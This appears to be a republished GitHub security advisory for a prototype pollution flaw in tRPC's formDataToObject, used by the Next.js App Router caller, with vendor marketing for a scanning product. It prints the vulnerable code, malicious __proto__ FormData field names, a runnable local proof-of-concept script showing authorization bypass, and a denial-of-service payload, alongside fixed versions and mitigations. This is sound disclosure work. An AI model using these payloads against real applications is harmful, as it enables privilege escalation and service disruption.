GHSA-43p4-m455-4f4j
tRPC has possible prototype pollution in `experimental_nextAppDirCaller`
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@trpc/server📦@trpc/serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Note that this vulnerability is only present when using
experimental_caller/experimental_nextAppDirCaller.
Summary
A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.
Affected Versions
- Package:
@trpc/server - Affected Versions: >=10.27.0
- Vulnerable Component:
formDataToObject()insrc/unstable-core-do-not-import/http/formDataToObject.ts
Vulnerability Details
Root Cause
The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.
Vulnerable Code
// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
if (path.length > 1) {
const newPath = [...path];
const key = newPath.shift(); // ← No validation of dangerous keys
const nextKey = newPath[0];
if (!obj[key]) { // ← Accesses obj["__proto__"] which returns Object.prototype
obj[key] = isNumberString(nextKey) ? [] : {};
}
set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype
return;
}
// ...
}
export function formDataToObject(formData) {
const obj = {};
for (const [key, value] of formData.entries()) {
const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
set(obj, parts, value);
}
return obj;
}
Attack Vector
When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:
// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
input = formDataToObject(input); // ← Vulnerable call
}
An attacker can craft FormData with malicious field names:
const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");
When processed, this pollutes Object.prototype:
{}.isAdmin // → "true"
{}.role // → "superadmin"
Proof of Concept
# Step 1: Create the project directory
mkdir trpc-vuln-poc
cd trpc-vuln-poc
# Step 2: Initialize npm
npm init -y
# Step 3: Install vulnerable tRPC
npm install @trpc/[email protected]
# Step 4: Create the test file
Test.js
const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');
console.log("=== PoC Prototype Pollution en tRPC ===\n");
console.log("[1] Estado inicial:");
console.log(" {}.isAdmin =", {}.isAdmin);
const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");
console.log("\n[2] FormData malicioso:");
console.log(' __proto__[isAdmin] = "true"');
console.log(' __proto__[role] = "superadmin"');
console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log(" Resultado:", JSON.stringify(result));
console.log("\n[4] Después del ataque:");
console.log(" {}.isAdmin =", {}.isAdmin);
console.log(" {}.role =", {}.role);
const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log(" Usuario normal:", JSON.stringify(user));
console.log(" user.isAdmin =", user.isAdmin);
if (user.isAdmin) {
console.log("\n VULNERABLE - Authorization bypass exitoso!");
} else {
console.log("\n ✓ Seguro");
}
Impact
Authorization Bypass (HIGH)
Many applications check user permissions using property access:
// Vulnerable pattern
if (user.isAdmin) {
// Grant admin access
}
After pollution, all objects will have isAdmin: "true", bypassing authorization.
Denial of Service (MEDIUM)
Polluting commonly used property names can crash applications:
formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @trpc/server | ≥ 10.27.0&&< 10.45.3 | 10.45.3 |
| 📦npm | @trpc/server | ≥ 11.0.0&&< 11.8.0 | 11.8.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @trpc/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @trpc/server to 10.45.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-43p4-m455-4f4j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-43p4-m455-4f4j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-43p4-m455-4f4j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-43p4-m455-4f4j in your dependencies?
O3 detects GHSA-43p4-m455-4f4j across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.